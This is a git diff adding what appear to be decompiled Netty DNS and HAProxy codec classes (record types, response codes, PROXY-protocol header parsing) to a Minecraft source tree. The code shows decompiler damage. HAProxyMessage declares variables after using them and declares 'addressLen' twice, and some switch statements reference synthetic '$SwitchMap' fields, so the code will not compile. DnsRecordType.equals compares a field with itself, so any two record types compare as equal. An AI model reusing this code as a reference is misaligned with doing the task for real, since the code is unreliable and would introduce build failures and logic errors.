+++ b/src/minecraft/io/netty/handler/codec/dns/DnsQuestion.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.dns;
+
+public abstract interface DnsQuestion
+  extends DnsRecord
+{
+  public abstract long timeToLive();
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsRawRecord.java b/src/minecraft/io/netty/handler/codec/dns/DnsRawRecord.java
new file mode 100644
index 0000000..de9ebde
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsRawRecord.java
@@ -0,0 +1,24 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+public abstract interface DnsRawRecord
+  extends DnsRecord, ByteBufHolder
+{
+  public abstract DnsRawRecord copy();
+  
+  public abstract DnsRawRecord duplicate();
+  
+  public abstract DnsRawRecord retainedDuplicate();
+  
+  public abstract DnsRawRecord replace(ByteBuf paramByteBuf);
+  
+  public abstract DnsRawRecord retain();
+  
+  public abstract DnsRawRecord retain(int paramInt);
+  
+  public abstract DnsRawRecord touch();
+  
+  public abstract DnsRawRecord touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsRecord.java b/src/minecraft/io/netty/handler/codec/dns/DnsRecord.java
new file mode 100644
index 0000000..9277861
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsRecord.java
@@ -0,0 +1,19 @@
+package io.netty.handler.codec.dns;
+
+public abstract interface DnsRecord
+{
+  public static final int CLASS_IN = 1;
+  public static final int CLASS_CSNET = 2;
+  public static final int CLASS_CHAOS = 3;
+  public static final int CLASS_HESIOD = 4;
+  public static final int CLASS_NONE = 254;
+  public static final int CLASS_ANY = 255;
+  
+  public abstract String name();
+  
+  public abstract DnsRecordType type();
+  
+  public abstract int dnsClass();
+  
+  public abstract long timeToLive();
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsRecordDecoder.java b/src/minecraft/io/netty/handler/codec/dns/DnsRecordDecoder.java
new file mode 100644
index 0000000..bd0c7ae
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsRecordDecoder.java
@@ -0,0 +1,36 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface DnsRecordDecoder
+{
+  public static final DnsRecordDecoder DEFAULT = new DefaultDnsRecordDecoder();
+  
+  public abstract DnsQuestion decodeQuestion(ByteBuf paramByteBuf)
+    throws Exception;
+  
+  public abstract <T extends DnsRecord> T decodeRecord(ByteBuf paramByteBuf)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsRecordEncoder.java b/src/minecraft/io/netty/handler/codec/dns/DnsRecordEncoder.java
new file mode 100644
index 0000000..316d3fb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsRecordEncoder.java
@@ -0,0 +1,36 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface DnsRecordEncoder
+{
+  public static final DnsRecordEncoder DEFAULT = new DefaultDnsRecordEncoder();
+  
+  public abstract void encodeQuestion(DnsQuestion paramDnsQuestion, ByteBuf paramByteBuf)
+    throws Exception;
+  
+  public abstract void encodeRecord(DnsRecord paramDnsRecord, ByteBuf paramByteBuf)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsRecordType.java b/src/minecraft/io/netty/handler/codec/dns/DnsRecordType.java
new file mode 100644
index 0000000..a8f844e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsRecordType.java
@@ -0,0 +1,404 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.collection.IntObjectHashMap;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DnsRecordType
+  implements Comparable<DnsRecordType>
+{
+  public static final DnsRecordType A = new DnsRecordType(1, "A");
+  
+
+
+
+
+  public static final DnsRecordType NS = new DnsRecordType(2, "NS");
+  
+
+
+
+
+  public static final DnsRecordType CNAME = new DnsRecordType(5, "CNAME");
+  
+
+
+
+
+
+
+  public static final DnsRecordType SOA = new DnsRecordType(6, "SOA");
+  
+
+
+
+
+
+
+  public static final DnsRecordType PTR = new DnsRecordType(12, "PTR");
+  
+
+
+
+
+  public static final DnsRecordType MX = new DnsRecordType(15, "MX");
+  
+
+
+
+
+
+
+
+  public static final DnsRecordType TXT = new DnsRecordType(16, "TXT");
+  
+
+
+
+
+
+  public static final DnsRecordType RP = new DnsRecordType(17, "RP");
+  
+
+
+
+
+
+
+  public static final DnsRecordType AFSDB = new DnsRecordType(18, "AFSDB");
+  
+
+
+
+
+
+  public static final DnsRecordType SIG = new DnsRecordType(24, "SIG");
+  
+
+
+
+
+
+
+
+  public static final DnsRecordType KEY = new DnsRecordType(25, "KEY");
+  
+
+
+
+
+  public static final DnsRecordType AAAA = new DnsRecordType(28, "AAAA");
+  
+
+
+
+
+  public static final DnsRecordType LOC = new DnsRecordType(29, "LOC");
+  
+
+
+
+
+  public static final DnsRecordType SRV = new DnsRecordType(33, "SRV");
+  
+
+
+
+
+
+  public static final DnsRecordType NAPTR = new DnsRecordType(35, "NAPTR");
+  
+
+
+
+
+
+
+
+  public static final DnsRecordType KX = new DnsRecordType(36, "KX");
+  
+
+
+
+  public static final DnsRecordType CERT = new DnsRecordType(37, "CERT");
+  
+
+
+
+
+
+
+  public static final DnsRecordType DNAME = new DnsRecordType(39, "DNAME");
+  
+
+
+
+
+  public static final DnsRecordType OPT = new DnsRecordType(41, "OPT");
+  
+
+
+
+
+  public static final DnsRecordType APL = new DnsRecordType(42, "APL");
+  
+
+
+
+
+  public static final DnsRecordType DS = new DnsRecordType(43, "DS");
+  
+
+
+
+
+
+
+  public static final DnsRecordType SSHFP = new DnsRecordType(44, "SSHFP");
+  
+
+
+
+  public static final DnsRecordType IPSECKEY = new DnsRecordType(45, "IPSECKEY");
+  
+
+
+
+
+  public static final DnsRecordType RRSIG = new DnsRecordType(46, "RRSIG");
+  
+
+
+
+
+  public static final DnsRecordType NSEC = new DnsRecordType(47, "NSEC");
+  
+
+
+
+
+  public static final DnsRecordType DNSKEY = new DnsRecordType(48, "DNSKEY");
+  
+
+
+
+
+  public static final DnsRecordType DHCID = new DnsRecordType(49, "DHCID");
+  
+
+
+
+
+  public static final DnsRecordType NSEC3 = new DnsRecordType(50, "NSEC3");
+  
+
+
+
+  public static final DnsRecordType NSEC3PARAM = new DnsRecordType(51, "NSEC3PARAM");
+  
+
+
+
+
+
+
+
+  public static final DnsRecordType TLSA = new DnsRecordType(52, "TLSA");
+  
+
+
+
+
+  public static final DnsRecordType HIP = new DnsRecordType(55, "HIP");
+  
+
+
+
+
+
+  public static final DnsRecordType SPF = new DnsRecordType(99, "SPF");
+  
+
+
+
+
+
+  public static final DnsRecordType TKEY = new DnsRecordType(249, "TKEY");
+  
+
+
+
+
+
+  public static final DnsRecordType TSIG = new DnsRecordType(250, "TSIG");
+  
+
+
+
+
+
+
+
+  public static final DnsRecordType IXFR = new DnsRecordType(251, "IXFR");
+  
+
+
+
+
+  public static final DnsRecordType AXFR = new DnsRecordType(252, "AXFR");
+  
+
+
+
+
+
+
+
+
+
+  public static final DnsRecordType ANY = new DnsRecordType(255, "ANY");
+  
+
+
+
+
+  public static final DnsRecordType CAA = new DnsRecordType(257, "CAA");
+  
+
+
+
+
+
+  public static final DnsRecordType TA = new DnsRecordType(32768, "TA");
+  
+
+
+
+
+
+  public static final DnsRecordType DLV = new DnsRecordType(32769, "DLV");
+  
+  private static final Map<String, DnsRecordType> BY_NAME = new HashMap();
+  private static final IntObjectHashMap<DnsRecordType> BY_TYPE = new IntObjectHashMap();
+  private static final String EXPECTED;
+  private final int intValue;
+  
+  static { DnsRecordType[] all = { A, NS, CNAME, SOA, PTR, MX, TXT, RP, AFSDB, SIG, KEY, AAAA, LOC, SRV, NAPTR, KX, CERT, DNAME, OPT, APL, DS, SSHFP, IPSECKEY, RRSIG, NSEC, DNSKEY, DHCID, NSEC3, NSEC3PARAM, TLSA, HIP, SPF, TKEY, TSIG, IXFR, AXFR, ANY, CAA, TA, DLV };
+    
+
+
+
+
+    StringBuilder expected = new StringBuilder(512);
+    
+    expected.append(" (expected: ");
+    for (DnsRecordType type : all) {
+      BY_NAME.put(type.name(), type);
+      BY_TYPE.put(type.intValue(), type);
+      
+      expected.append(type.name()).append('(').append(type.intValue()).append("), ");
+    }
+    
+
+
+
+    expected.setLength(expected.length() - 2);
+    expected.append(')');
+    EXPECTED = expected.toString();
+  }
+  
+  public static DnsRecordType valueOf(int intValue) {
+    DnsRecordType result = (DnsRecordType)BY_TYPE.get(intValue);
+    if (result == null) {
+      return new DnsRecordType(intValue);
+    }
+    return result;
+  }
+  
+  public static DnsRecordType valueOf(String name) {
+    DnsRecordType result = (DnsRecordType)BY_NAME.get(name);
+    if (result == null) {
+      throw new IllegalArgumentException("name: " + name + EXPECTED);
+    }
+    return result;
+  }
+  
+
+  private final String name;
+  private String text;
+  private DnsRecordType(int intValue)
+  {
+    this(intValue, "UNKNOWN");
+  }
+  
+  public DnsRecordType(int intValue, String name) {
+    if ((intValue & 0xFFFF) != intValue) {
+      throw new IllegalArgumentException("intValue: " + intValue + " (expected: 0 ~ 65535)");
+    }
+    this.intValue = intValue;
+    this.name = name;
+  }
+  
+
+
+  public String name()
+  {
+    return name;
+  }
+  
+
+
+  public int intValue()
+  {
+    return intValue;
+  }
+  
+  public int hashCode()
+  {
+    return intValue;
+  }
+  
+  public boolean equals(Object o)
+  {
+    return ((o instanceof DnsRecordType)) && (intValue == intValue);
+  }
+  
+  public int compareTo(DnsRecordType o)
+  {
+    return intValue() - o.intValue();
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + intValue() + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsResponse.java b/src/minecraft/io/netty/handler/codec/dns/DnsResponse.java
new file mode 100644
index 0000000..090c3bd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsResponse.java
@@ -0,0 +1,47 @@
+package io.netty.handler.codec.dns;
+
+public abstract interface DnsResponse
+  extends DnsMessage
+{
+  public abstract boolean isAuthoritativeAnswer();
+  
+  public abstract DnsResponse setAuthoritativeAnswer(boolean paramBoolean);
+  
+  public abstract boolean isTruncated();
+  
+  public abstract DnsResponse setTruncated(boolean paramBoolean);
+  
+  public abstract boolean isRecursionAvailable();
+  
+  public abstract DnsResponse setRecursionAvailable(boolean paramBoolean);
+  
+  public abstract DnsResponseCode code();
+  
+  public abstract DnsResponse setCode(DnsResponseCode paramDnsResponseCode);
+  
+  public abstract DnsResponse setId(int paramInt);
+  
+  public abstract DnsResponse setOpCode(DnsOpCode paramDnsOpCode);
+  
+  public abstract DnsResponse setRecursionDesired(boolean paramBoolean);
+  
+  public abstract DnsResponse setZ(int paramInt);
+  
+  public abstract DnsResponse setRecord(DnsSection paramDnsSection, DnsRecord paramDnsRecord);
+  
+  public abstract DnsResponse addRecord(DnsSection paramDnsSection, DnsRecord paramDnsRecord);
+  
+  public abstract DnsResponse addRecord(DnsSection paramDnsSection, int paramInt, DnsRecord paramDnsRecord);
+  
+  public abstract DnsResponse clear(DnsSection paramDnsSection);
+  
+  public abstract DnsResponse clear();
+  
+  public abstract DnsResponse touch();
+  
+  public abstract DnsResponse touch(Object paramObject);
+  
+  public abstract DnsResponse retain();
+  
+  public abstract DnsResponse retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsResponseCode.java b/src/minecraft/io/netty/handler/codec/dns/DnsResponseCode.java
new file mode 100644
index 0000000..eb74c3c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsResponseCode.java
@@ -0,0 +1,219 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DnsResponseCode
+  implements Comparable<DnsResponseCode>
+{
+  public static final DnsResponseCode NOERROR = new DnsResponseCode(0, "NoError");
+  
+
+
+
+  public static final DnsResponseCode FORMERR = new DnsResponseCode(1, "FormErr");
+  
+
+
+
+  public static final DnsResponseCode SERVFAIL = new DnsResponseCode(2, "ServFail");
+  
+
+
+
+  public static final DnsResponseCode NXDOMAIN = new DnsResponseCode(3, "NXDomain");
+  
+
+
+
+  public static final DnsResponseCode NOTIMP = new DnsResponseCode(4, "NotImp");
+  
+
+
+
+  public static final DnsResponseCode REFUSED = new DnsResponseCode(5, "Refused");
+  
+
+
+
+  public static final DnsResponseCode YXDOMAIN = new DnsResponseCode(6, "YXDomain");
+  
+
+
+
+  public static final DnsResponseCode YXRRSET = new DnsResponseCode(7, "YXRRSet");
+  
+
+
+
+  public static final DnsResponseCode NXRRSET = new DnsResponseCode(8, "NXRRSet");
+  
+
+
+
+  public static final DnsResponseCode NOTAUTH = new DnsResponseCode(9, "NotAuth");
+  
+
+
+
+  public static final DnsResponseCode NOTZONE = new DnsResponseCode(10, "NotZone");
+  
+
+
+
+
+  public static final DnsResponseCode BADVERS_OR_BADSIG = new DnsResponseCode(16, "BADVERS_OR_BADSIG");
+  
+
+
+
+  public static final DnsResponseCode BADKEY = new DnsResponseCode(17, "BADKEY");
+  
+
+
+
+  public static final DnsResponseCode BADTIME = new DnsResponseCode(18, "BADTIME");
+  
+
+
+
+  public static final DnsResponseCode BADMODE = new DnsResponseCode(19, "BADMODE");
+  
+
+
+
+  public static final DnsResponseCode BADNAME = new DnsResponseCode(20, "BADNAME");
+  
+
+
+
+  public static final DnsResponseCode BADALG = new DnsResponseCode(21, "BADALG");
+  
+  private final int code;
+  
+  private final String name;
+  
+  private String text;
+  
+  public static DnsResponseCode valueOf(int responseCode)
+  {
+    switch (responseCode) {
+    case 0: 
+      return NOERROR;
+    case 1: 
+      return FORMERR;
+    case 2: 
+      return SERVFAIL;
+    case 3: 
+      return NXDOMAIN;
+    case 4: 
+      return NOTIMP;
+    case 5: 
+      return REFUSED;
+    case 6: 
+      return YXDOMAIN;
+    case 7: 
+      return YXRRSET;
+    case 8: 
+      return NXRRSET;
+    case 9: 
+      return NOTAUTH;
+    case 10: 
+      return NOTZONE;
+    case 16: 
+      return BADVERS_OR_BADSIG;
+    case 17: 
+      return BADKEY;
+    case 18: 
+      return BADTIME;
+    case 19: 
+      return BADMODE;
+    case 20: 
+      return BADNAME;
+    case 21: 
+      return BADALG;
+    }
+    return new DnsResponseCode(responseCode);
+  }
+  
+
+
+
+
+  private DnsResponseCode(int code)
+  {
+    this(code, "UNKNOWN");
+  }
+  
+  public DnsResponseCode(int code, String name) {
+    if ((code < 0) || (code > 65535)) {
+      throw new IllegalArgumentException("code: " + code + " (expected: 0 ~ 65535)");
+    }
+    
+    this.code = code;
+    this.name = ((String)ObjectUtil.checkNotNull(name, "name"));
+  }
+  
+
+
+  public int intValue()
+  {
+    return code;
+  }
+  
+  public int compareTo(DnsResponseCode o)
+  {
+    return intValue() - o.intValue();
+  }
+  
+  public int hashCode()
+  {
+    return intValue();
+  }
+  
+
+
+
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof DnsResponseCode)) {
+      return false;
+    }
+    
+    return intValue() == ((DnsResponseCode)o).intValue();
+  }
+  
+
+
+
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + intValue() + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsSection.java b/src/minecraft/io/netty/handler/codec/dns/DnsSection.java
new file mode 100644
index 0000000..d9ef984
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsSection.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec.dns;
+
+public enum DnsSection
+{
+  QUESTION,  ANSWER,  AUTHORITY,  ADDITIONAL;
+  
+  private DnsSection() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/haproxy/HAProxyCommand.java b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyCommand.java
new file mode 100644
index 0000000..cd8cdc9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyCommand.java
@@ -0,0 +1,70 @@
+package io.netty.handler.codec.haproxy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum HAProxyCommand
+{
+  LOCAL((byte)0), 
+  
+
+
+
+  PROXY((byte)1);
+  
+
+
+  private static final byte COMMAND_MASK = 15;
+  
+
+  private final byte byteValue;
+  
+
+
+  private HAProxyCommand(byte byteValue)
+  {
+    this.byteValue = byteValue;
+  }
+  
+
+
+
+
+  public static HAProxyCommand valueOf(byte verCmdByte)
+  {
+    int cmd = verCmdByte & 0xF;
+    switch ((byte)cmd) {
+    case 1: 
+      return PROXY;
+    case 0: 
+      return LOCAL;
+    }
+    throw new IllegalArgumentException("unknown command: " + cmd);
+  }
+  
+
+
+
+  public byte byteValue()
+  {
+    return byteValue;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/haproxy/HAProxyConstants.java b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyConstants.java
new file mode 100644
index 0000000..7791b81
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyConstants.java
@@ -0,0 +1,25 @@
+package io.netty.handler.codec.haproxy;
+
+final class HAProxyConstants
+{
+  static final byte COMMAND_LOCAL_BYTE = 0;
+  static final byte COMMAND_PROXY_BYTE = 1;
+  static final byte VERSION_ONE_BYTE = 16;
+  static final byte VERSION_TWO_BYTE = 32;
+  static final byte TRANSPORT_UNSPEC_BYTE = 0;
+  static final byte TRANSPORT_STREAM_BYTE = 1;
+  static final byte TRANSPORT_DGRAM_BYTE = 2;
+  static final byte AF_UNSPEC_BYTE = 0;
+  static final byte AF_IPV4_BYTE = 16;
+  static final byte AF_IPV6_BYTE = 32;
+  static final byte AF_UNIX_BYTE = 48;
+  static final byte TPAF_UNKNOWN_BYTE = 0;
+  static final byte TPAF_TCP4_BYTE = 17;
+  static final byte TPAF_TCP6_BYTE = 33;
+  static final byte TPAF_UDP4_BYTE = 18;
+  static final byte TPAF_UDP6_BYTE = 34;
+  static final byte TPAF_UNIX_STREAM_BYTE = 49;
+  static final byte TPAF_UNIX_DGRAM_BYTE = 50;
+  
+  private HAProxyConstants() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/haproxy/HAProxyMessage.java b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyMessage.java
new file mode 100644
index 0000000..f500b67
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyMessage.java
@@ -0,0 +1,431 @@
+package io.netty.handler.codec.haproxy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.ByteProcessor;
+import io.netty.util.CharsetUtil;
+import io.netty.util.NetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HAProxyMessage
+{
+  private static final HAProxyMessage V1_UNKNOWN_MSG = new HAProxyMessage(HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNKNOWN, null, null, 0, 0);
+  
+
+
+
+
+
+  private static final HAProxyMessage V2_UNKNOWN_MSG = new HAProxyMessage(HAProxyProtocolVersion.V2, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNKNOWN, null, null, 0, 0);
+  
+
+
+
+
+
+  private static final HAProxyMessage V2_LOCAL_MSG = new HAProxyMessage(HAProxyProtocolVersion.V2, HAProxyCommand.LOCAL, HAProxyProxiedProtocol.UNKNOWN, null, null, 0, 0);
+  
+  private final HAProxyProtocolVersion protocolVersion;
+  
+  private final HAProxyCommand command;
+  
+  private final HAProxyProxiedProtocol proxiedProtocol;
+  
+  private final String sourceAddress;
+  
+  private final String destinationAddress;
+  
+  private final int sourcePort;
+  private final int destinationPort;
+  
+  private HAProxyMessage(HAProxyProtocolVersion protocolVersion, HAProxyCommand command, HAProxyProxiedProtocol proxiedProtocol, String sourceAddress, String destinationAddress, String sourcePort, String destinationPort)
+  {
+    this(protocolVersion, command, proxiedProtocol, sourceAddress, destinationAddress, portStringToInt(sourcePort), portStringToInt(destinationPort));
+  }
+  
+
+
+
+
+
+
+
+  private HAProxyMessage(HAProxyProtocolVersion protocolVersion, HAProxyCommand command, HAProxyProxiedProtocol proxiedProtocol, String sourceAddress, String destinationAddress, int sourcePort, int destinationPort)
+  {
+    if (proxiedProtocol == null) {
+      throw new NullPointerException("proxiedProtocol");
+    }
+    HAProxyProxiedProtocol.AddressFamily addrFamily = proxiedProtocol.addressFamily();
+    
+    checkAddress(sourceAddress, addrFamily);
+    checkAddress(destinationAddress, addrFamily);
+    checkPort(sourcePort);
+    checkPort(destinationPort);
+    
+    this.protocolVersion = protocolVersion;
+    this.command = command;
+    this.proxiedProtocol = proxiedProtocol;
+    this.sourceAddress = sourceAddress;
+    this.destinationAddress = destinationAddress;
+    this.sourcePort = sourcePort;
+    this.destinationPort = destinationPort;
+  }
+  
+
+
+
+
+
+
+  static HAProxyMessage decodeHeader(ByteBuf header)
+  {
+    if (header == null) {
+      throw new NullPointerException("header");
+    }
+    
+    if (header.readableBytes() < 16) {
+      throw new HAProxyProtocolException("incomplete header: " + header.readableBytes() + " bytes (expected: 16+ bytes)");
+    }
+    
+
+
+    header.skipBytes(12);
+    byte verCmdByte = header.readByte();
+    
+    try
+    {
+      ver = HAProxyProtocolVersion.valueOf(verCmdByte);
+    } catch (IllegalArgumentException e) { HAProxyProtocolVersion ver;
+      throw new HAProxyProtocolException(e);
+    }
+    HAProxyProtocolVersion ver;
+    if (ver != HAProxyProtocolVersion.V2) {
+      throw new HAProxyProtocolException("version 1 unsupported: 0x" + Integer.toHexString(verCmdByte));
+    }
+    
+    try
+    {
+      cmd = HAProxyCommand.valueOf(verCmdByte);
+    } catch (IllegalArgumentException e) { HAProxyCommand cmd;
+      throw new HAProxyProtocolException(e);
+    }
+    HAProxyCommand cmd;
+    if (cmd == HAProxyCommand.LOCAL) {
+      return V2_LOCAL_MSG;
+    }
+    
+
+    try
+    {
+      protAndFam = HAProxyProxiedProtocol.valueOf(header.readByte());
+    } catch (IllegalArgumentException e) { HAProxyProxiedProtocol protAndFam;
+      throw new HAProxyProtocolException(e);
+    }
+    HAProxyProxiedProtocol protAndFam;
+    if (protAndFam == HAProxyProxiedProtocol.UNKNOWN) {
+      return V2_UNKNOWN_MSG;
+    }
+    
+    int addressInfoLen = header.readUnsignedShort();
+    
+
+
+
+    int srcPort = 0;
+    int dstPort = 0;
+    
+    HAProxyProxiedProtocol.AddressFamily addressFamily = protAndFam.addressFamily();
+    String srcAddress;
+    String dstAddress; if (addressFamily == HAProxyProxiedProtocol.AddressFamily.AF_UNIX)
+    {
+      if ((addressInfoLen < 216) || (header.readableBytes() < 216)) {
+        throw new HAProxyProtocolException("incomplete UNIX socket address information: " + Math.min(addressInfoLen, header.readableBytes()) + " bytes (expected: 216+ bytes)");
+      }
+      
+
+      int startIdx = header.readerIndex();
+      int addressEnd = header.forEachByte(startIdx, 108, ByteProcessor.FIND_NUL);
+      int addressLen; int addressLen; if (addressEnd == -1) {
+        addressLen = 108;
+      } else {
+        addressLen = addressEnd - startIdx;
+      }
+      String srcAddress = header.toString(startIdx, addressLen, CharsetUtil.US_ASCII);
+      
+      startIdx += 108;
+      
+      addressEnd = header.forEachByte(startIdx, 108, ByteProcessor.FIND_NUL);
+      if (addressEnd == -1) {
+        addressLen = 108;
+      } else {
+        addressLen = addressEnd - startIdx;
+      }
+      String dstAddress = header.toString(startIdx, addressLen, CharsetUtil.US_ASCII);
+      
+
+      header.readerIndex(startIdx + 108);
+    } else { int addressLen;
+      if (addressFamily == HAProxyProxiedProtocol.AddressFamily.AF_IPv4)
+      {
+        if ((addressInfoLen < 12) || (header.readableBytes() < 12)) {
+          throw new HAProxyProtocolException("incomplete IPv4 address information: " + Math.min(addressInfoLen, header.readableBytes()) + " bytes (expected: 12+ bytes)");
+        }
+        
+
+        addressLen = 4; } else { int addressLen;
+        if (addressFamily == HAProxyProxiedProtocol.AddressFamily.AF_IPv6)
+        {
+          if ((addressInfoLen < 36) || (header.readableBytes() < 36)) {
+            throw new HAProxyProtocolException("incomplete IPv6 address information: " + Math.min(addressInfoLen, header.readableBytes()) + " bytes (expected: 36+ bytes)");
+          }
+          
+
+          addressLen = 16;
+        } else {
+          throw new HAProxyProtocolException("unable to parse address information (unkown address family: " + addressFamily + ')');
+        }
+      }
+      
+      int addressLen;
+      srcAddress = ipBytestoString(header, addressLen);
+      dstAddress = ipBytestoString(header, addressLen);
+      srcPort = header.readUnsignedShort();
+      dstPort = header.readUnsignedShort();
+    }
+    
+    return new HAProxyMessage(ver, cmd, protAndFam, srcAddress, dstAddress, srcPort, dstPort);
+  }
+  
+
+
+
+
+
+
+  static HAProxyMessage decodeHeader(String header)
+  {
+    if (header == null) {
+      throw new HAProxyProtocolException("header");
+    }
+    
+    String[] parts = header.split(" ");
+    int numParts = parts.length;
+    
+    if (numParts < 2) {
+      throw new HAProxyProtocolException("invalid header: " + header + " (expected: 'PROXY' and proxied protocol values)");
+    }
+    
+
+    if (!"PROXY".equals(parts[0])) {
+      throw new HAProxyProtocolException("unknown identifier: " + parts[0]);
+    }
+    
+    try
+    {
+      protAndFam = HAProxyProxiedProtocol.valueOf(parts[1]);
+    } catch (IllegalArgumentException e) { HAProxyProxiedProtocol protAndFam;
+      throw new HAProxyProtocolException(e);
+    }
+    HAProxyProxiedProtocol protAndFam;
+    if ((protAndFam != HAProxyProxiedProtocol.TCP4) && (protAndFam != HAProxyProxiedProtocol.TCP6) && (protAndFam != HAProxyProxiedProtocol.UNKNOWN))
+    {
+
+      throw new HAProxyProtocolException("unsupported v1 proxied protocol: " + parts[1]);
+    }
+    
+    if (protAndFam == HAProxyProxiedProtocol.UNKNOWN) {
+      return V1_UNKNOWN_MSG;
+    }
+    
+    if (numParts != 6) {
+      throw new HAProxyProtocolException("invalid TCP4/6 header: " + header + " (expected: 6 parts)");
+    }
+    
+    return new HAProxyMessage(HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, protAndFam, parts[2], parts[3], parts[4], parts[5]);
+  }
+  
+
+
+
+
+
+
+
+
+  private static String ipBytestoString(ByteBuf header, int addressLen)
+  {
+    StringBuilder sb = new StringBuilder();
+    if (addressLen == 4) {
+      sb.append(header.readByte() & 0xFF);
+      sb.append('.');
+      sb.append(header.readByte() & 0xFF);
+      sb.append('.');
+      sb.append(header.readByte() & 0xFF);
+      sb.append('.');
+      sb.append(header.readByte() & 0xFF);
+    } else {
+      sb.append(Integer.toHexString(header.readUnsignedShort()));
+      sb.append(':');
+      sb.append(Integer.toHexString(header.readUnsignedShort()));
+      sb.append(':');
+      sb.append(Integer.toHexString(header.readUnsignedShort()));
+      sb.append(':');
+      sb.append(Integer.toHexString(header.readUnsignedShort()));
+      sb.append(':');
+      sb.append(Integer.toHexString(header.readUnsignedShort()));
+      sb.append(':');
+      sb.append(Integer.toHexString(header.readUnsignedShort()));
+      sb.append(':');
+      sb.append(Integer.toHexString(header.readUnsignedShort()));
+      sb.append(':');
+      sb.append(Integer.toHexString(header.readUnsignedShort()));
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+
+
+  private static int portStringToInt(String value)
+  {
+    try
+    {
+      port = Integer.parseInt(value);
+    } catch (NumberFormatException e) { int port;
+      throw new HAProxyProtocolException("invalid port: " + value, e);
+    }
+    int port;
+    if ((port <= 0) || (port > 65535)) {
+      throw new HAProxyProtocolException("invalid port: " + value + " (expected: 1 ~ 65535)");
+    }
+    
+    return port;
+  }
+  
+
+
+
+
+
+
+  private static void checkAddress(String address, HAProxyProxiedProtocol.AddressFamily addrFamily)
+  {
+    if (addrFamily == null) {
+      throw new NullPointerException("addrFamily");
+    }
+    
+    switch (1.$SwitchMap$io$netty$handler$codec$haproxy$HAProxyProxiedProtocol$AddressFamily[addrFamily.ordinal()]) {
+    case 1: 
+      if (address != null) {
+        throw new HAProxyProtocolException("unable to validate an AF_UNSPEC address: " + address);
+      }
+      return;
+    case 2: 
+      return;
+    }
+    
+    if (address == null) {
+      throw new NullPointerException("address");
+    }
+    
+    switch (1.$SwitchMap$io$netty$handler$codec$haproxy$HAProxyProxiedProtocol$AddressFamily[addrFamily.ordinal()]) {
+    case 3: 
+      if (!NetUtil.isValidIpV4Address(address)) {
+        throw new HAProxyProtocolException("invalid IPv4 address: " + address);
+      }
+      break;
+    case 4: 
+      if (!NetUtil.isValidIpV6Address(address)) {
+        throw new HAProxyProtocolException("invalid IPv6 address: " + address);
+      }
+      break;
+    default: 
+      throw new Error();
+    }
+    
+  }
+  
+
+
+
+
+  private static void checkPort(int port)
+  {
+    if ((port < 0) || (port > 65535)) {
+      throw new HAProxyProtocolException("invalid port: " + port + " (expected: 1 ~ 65535)");
+    }
+  }
+  
+
+
+  public HAProxyProtocolVersion protocolVersion()
+  {
+    return protocolVersion;
+  }
+  
+
+
+  public HAProxyCommand command()
+  {
+    return command;
+  }
+  
+
+
+  public HAProxyProxiedProtocol proxiedProtocol()
+  {
+    return proxiedProtocol;
+  }
+  
+
+
+  public String sourceAddress()
+  {
+    return sourceAddress;
+  }
+  
+
+
+  public String destinationAddress()
+  {
+    return destinationAddress;
+  }
+  
+
+
+  public int sourcePort()
+  {
+    return sourcePort;
+  }
+  
+
+
